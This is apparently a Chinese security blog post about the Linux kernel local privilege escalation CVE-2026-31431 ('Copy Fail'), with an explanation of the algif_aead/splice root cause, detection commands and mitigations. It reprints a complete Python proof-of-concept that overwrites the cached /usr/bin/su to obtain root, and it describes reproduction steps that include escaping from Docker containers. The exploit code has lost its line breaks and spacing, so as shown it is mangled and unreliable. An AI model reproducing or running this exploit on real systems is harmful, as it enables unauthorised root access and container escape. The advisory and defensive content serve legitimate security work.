一、漏洞介绍
大家好,近日Linux系统爆出 “本地权限提升高危漏洞”,其代号为 “Copy Fail”。影响自2017年以来发布的每个Linux发行版。
攻击者利用 AF_ALG 加密接口与 splice()系统调用,实现向任意可读文件的页缓存中写入受控的4字节数据,进而通过篡改 setuid 二进制文件(如/usr/bin/su)获得 root 权限。
简单来说,在普通用户下执行一个 732字节的python脚本,便提升至Root权限。覆盖Linux系统、docker容器等。
需要注意⚠️的是: 攻击者无法直接通过网络远程触发该漏洞。必须先获得目标系统的本地访问权限。
漏洞编号
CVE-2026-31431,CVSS 3.1评分:7.8分 高危漏洞。
影响范围
影响自2017年以来发布的每个Linux发行版。
目前已知受影响操作系统及版本:
Ubuntu 25.10
Ubuntu 24.04 LTS
Ubuntu 22.04 LTS
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Amazon Linux 2023
Red Hat Enterprise Linux 10
Red Hat Enterprise Linux 9
Red Hat Enterprise Linux 8
SUSE 16
漏洞原因
(1)本次是 Linux 内核 crypto 子系统中本地提权漏洞,问题位于 algif_aead 内核模块,即内核 userspace crypto API 的 AEAD socket 接口(AF_ALG套接字)。
(2)由于 AF_ALG 套接字的 AEAD 解密路径在 2017 年引入了一个就地(in-place)操作优化,将 splice() 传递过来的目标文件页缓存页面直接链入可写的输出散列表(scatterlist)。
(3)而 authencesn 算法在解密过程中将接收缓冲区偏移 assoclen + cryptlen 位置作为临时存储空间写入 4 字节数据。
(4)当 AF_ALG 通过 recvmsg() 触发解密操作时,该写入会跨越接收缓冲区边界,直接覆盖链在后面的页缓存页面,从而实现对任意已打开的可读文件的页缓存进行受控的 4 字节篡改,最终导致本地低权限攻击者可通过篡改系统上任意可读文件(如 /usr/bin/su 等 setuid 程序)的页缓存内容。
(5)最终,直接获得 root 权限,且该写入不会触发磁盘脏页回写,可实现持久化提权等危害。
Page Cache 页缓存概念
Linux 不会每次读文件都跑磁盘。进程读文件,内核把内容缓存在内存里,后续读直接先找缓存,找不到才是缺页 + reload。
这里有个背景知识 page cache 以 inode 为粒度。不管同一个文件被多少进程打开,内核里只有一份 Page Cache。
splice 概念
splice() 是 Linux 的 Zero Copy 机制,通过 pipe 在两个 fd 之间搬数据,不走用户态,内核里直接传页面引用:文件 > splice > pipe > splice > socket
pipe 持有的就是源文件 page cache 页面的引用。
AF_ALG 套接字
AF_ALG 是内核暴露给用户态的密码学接口。一个普通用户创建 <font style="color:rgb(21, 21, 21);">socket()</font>,bind 到 AEAD,就能直接调内核的加解密。
排查方法
(1)检查内核版本
$ uname -r
版本 >= 4.14 → 可能受影响,继续下一步
版本 < 4.14 → 不受影响
(2)检查内核配置是否启用
$ grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
注:会出现以下三种情况:CONFIG_CRYPTO_USER_API_AEAD=n 彻底关闭,不受影响,无需处理CONFIG_CRYPTO_USER_API_AEAD=y 静态编译进内核,Ismod 查不到,但受影响,暂无缓解措施,只能升级内核(例如:RHEL/CentOS/Rocky Linux/AlmaLinux 8, 9, 10 三代产品)CONFIG_CRYPTO_USER_API_AEAD=m 模块方式,Ismod 可查,加载就有风险,受影响,可通过以下缓解措施缓解
(3)检查模块是否已加载受影响模块
$ lsmod | grep algif_aead
(4)检查<font style="color:rgb(0, 0, 0);">AF_ALG</font> socket 是否可创建
$ python3 -c "import socket; socket.socket(38,5,0); print('有风险')"
二、PoC公布
copy_fail_exp.py需要python3.10及以上版本
#!/usr/bin/env python3import os as g,zlib,socket as sdefd(x):return bytes.fromhex(x)defc(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)try:u.recv(8+t)except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")
sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
https://github.com/theori-io/copy-fail-CVE-2026-31431
三、漏洞复现
本次测试环境(kali Linux系统,内核版本: 6.12.38)
(1)案例:普通用户提升Root权限

结论:成功从普通用户提升至root权限。
(2)案例:docker容器逃逸
步骤一:基于ubuntu:24.04 docker镜像,创建了两个容器,别名分别为:ubuntu1、ubuntu2

步骤二:比对ubuntu1、ubuntu2 容器中的 /usr/bin/su 命令二进制文件inode编号,验证是指向同一个页缓存(Page Cache)。

步骤三:在ubuntu1容器中,验证从普通用户切换root用户是需要密码登录。(此时还未进行漏洞利用)

步骤四:在ubuntu2容器中,执行poc脚本进行漏洞利用。当前容器已成功提权。

步骤五:在ubuntu1容器中,登录普通用户后,发现su命令已经被刚刚ubuntu2容器篡改,切换root无需密码。 成功提权Root权限。

结论:容器逃逸成功。其他容器只要使用 /usr/bin/su 相同的页缓存,都会影响,成功提权Root权限。 该漏洞不能直接逃逸至宿主机。
注意:
容器的文件系统是 OverlayFS
容器读 lower layer (只读,从镜像来的) 的文件,page cache 缓存的是底层的 inode 的内容。多个容器跑同一镜像,共享同一份 page cache。
(3)案例:容器逃逸宿主机
步骤一:挂在宿主机/usr/bin/su 文件至容器中

步骤二:切换到宿主机,在普通用户下执行 su 命令,成功提权Root权限。

结论:只有容器挂在了宿主机目录下的(setuid)文件时,容器才会逃逸至宿主机。
四、解决漏洞方式
(1)禁用algif_aead内核模块
$echo"install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf$ rmmod algif_aead
(2)seccomp限制AF_ALG 对不可信容器/进程施加seccomp策略,禁止创建AF_ALG套接字。
(3)升级官方已发布漏洞补丁及修复版本。
技术文章持续更新,请大家多多关注呀~~搜索微信公众号,关注我【 帽儿山的枪手 】